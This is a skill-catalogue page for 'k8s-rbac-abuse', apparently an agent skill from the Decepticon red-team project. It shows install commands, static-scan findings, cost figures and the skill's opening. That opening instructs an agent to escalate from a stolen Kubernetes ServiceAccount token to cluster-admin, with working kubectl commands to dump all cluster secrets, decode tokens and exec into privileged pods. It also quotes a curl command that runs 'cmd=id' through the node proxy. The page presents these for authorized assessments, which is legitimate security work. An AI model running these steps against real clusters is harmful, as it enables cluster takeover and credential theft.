Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill k8s-rbac-abusegit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/k8s-rbac-abuse)<a href="https://agentmods.dev/skills/purpleailab/decepticon/k8s-rbac-abuse"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/k8s-rbac-abuse/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/k8s-rbac-abuse"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/k8s-rbac-abuse.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 11 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Privilege Escalation · line 14 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 58 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 60 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Tool Misuse · line 78 Code deploys a privileged Kubernetes workload (privileged container, hostPath mount, or host namespaces). This grants root on the node and is a node/cluster takeover vector.Fix: Remove privileged, hostPath, and host-namespace settings from workloads. Use a least-privilege securityContext, drop capabilities, and avoid mounting the host filesystem.
- high Tool Misuse · line 79 Code deploys a privileged Kubernetes workload (privileged container, hostPath mount, or host namespaces). This grants root on the node and is a node/cluster takeover vector.Fix: Remove privileged, hostPath, and host-namespace settings from workloads. Use a least-privilege securityContext, drop capabilities, and avoid mounting the host filesystem.
- high Privilege Escalation · line 83 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Tool Misuse · line 85 Code deploys a privileged Kubernetes workload (privileged container, hostPath mount, or host namespaces). This grants root on the node and is a node/cluster takeover vector.Fix: Remove privileged, hostPath, and host-namespace settings from workloads. Use a least-privilege securityContext, drop capabilities, and avoid mounting the host filesystem.
- high Tool Misuse · line 97 Code deploys a privileged Kubernetes workload (privileged container, hostPath mount, or host namespaces). This grants root on the node and is a node/cluster takeover vector.Fix: Remove privileged, hostPath, and host-namespace settings from workloads. Use a least-privilege securityContext, drop capabilities, and avoid mounting the host filesystem.
- high Tool Misuse · line 91 Code deploys a privileged Kubernetes workload (privileged container, hostPath mount, or host namespaces). This grants root on the node and is a node/cluster takeover vector.Fix: Remove privileged, hostPath, and host-namespace settings from workloads. Use a least-privilege securityContext, drop capabilities, and avoid mounting the host filesystem.
- high Tool Misuse · line 97 Code deploys a privileged Kubernetes workload (privileged container, hostPath mount, or host namespaces). This grants root on the node and is a node/cluster takeover vector.Fix: Remove privileged, hostPath, and host-namespace settings from workloads. Use a least-privilege securityContext, drop capabilities, and avoid mounting the host filesystem.
- medium Data Exfiltration · line 149 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00068 | $0.01797 |
| Opus 5 | $0.00034 | $0.00898 |
| Sonnet 5 | $0.00014 | $0.00359 |
| Haiku 4.5 | $0.00007 | $0.00180 |
Grade B, and why
k8s-rbac-abuse scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLmediumData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
curl -sk http://localhost:8080/api/v1/nodes/$NODE/proxy/run/POD_NS/POD_NAME/CONTAINER -X POST -d 'cmd=id' Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -sk http://localhost:8080/api/v1/nodes/$NODE/proxy/run/POD_NS/POD_NAME/CONTAINER -X POST -d 'cmd=id' Copies of this mod
1 near-identical copy found in the catalogue:
- k8s-rbac-abuse — 100% identical, 0 lines differ
How it starts
The opening of the file, as written. The whole thing — 177 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Kubernetes RBAC Privilege Escalation
You have a Kubernetes ServiceAccount token (from a pod escape, kubeconfig leak, or compromised CI runner). Find the path from this SA to cluster-admin.
Phase 1: Enumerate current permissions
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
APISERVER=https://kubernetes.default.svc
# Set up kubectl with the stolen token
kubectl config set-credentials hacked --token="$TOKEN"
kubectl config set-cluster c --server=$APISERVER --insecure-skip-tls-verify
kubectl config set-context c --cluster=c --user=hacked --namespace=$NS
kubectl config use-context c
# Enumerate everything you can do
kubectl auth can-i --list # in your namespace
kubectl auth can-i --list --all-namespaces # cluster-wide (often forbidden — that's a signal too)
kubectl auth can-i '*' '*' --all-namespaces # are you cluster-admin?
# Get your role bindings
kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]?.name | contains("YOUR_SA_NAME"))'
Phase 2: Classic escalation paths
2.1 pods/exec or pods/attach on a privileged pod
If you can exec into a pod that has a privileged SecurityContext or a sensitive volume mount, you take that pod's identity:
# Find pods you can exec into
kubectl auth can-i create pods/exec
# Find privileged pods
kubectl get pods -A -o json | jq '.items[] | select(.spec.containers[]?.securityContext?.privileged == true) | "\(.metadata.namespace)/\(.metadata.name)"'
# Exec → escape (see k8s-pod-escape skill)
kubectl exec -it -n kube-system privileged-pod-name -- /bin/sh
2.2 secrets get/list cluster-wide
# Dump every secret in the cluster
kubectl get secrets -A -o json > all_secrets.json
# Service-account tokens, image-pull secrets, custom-application secrets — all here
jq -r '.items[] | select(.type=="kubernetes.io/service-account-token") | "\(.metadata.namespace)/\(.metadata.name): \(.data.token | @base64d)"' all_secrets.json | head
# Pick a more-privileged SA token and re-authenticate
NEW_TOKEN=$(kubectl get secret -n kube-system $(kubectl get sa -n kube-system -o name | head -1 | cut -d/ -f2)-token-XXXXX -o jsonpath='{.data.token}' | base64 -d)
kubectl --token="$NEW_TOKEN" auth can-i '*' '*' --all-namespaces
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 177 lines · 68 tokens per session scan B f1436ab43ce8
k8s-rbac-abuse is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,482 stars, last pushed 11d ago), licensed Apache-2.0. It adds 68 tokens to every session and 1,797 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it B with 2 findings (sends data to an external url, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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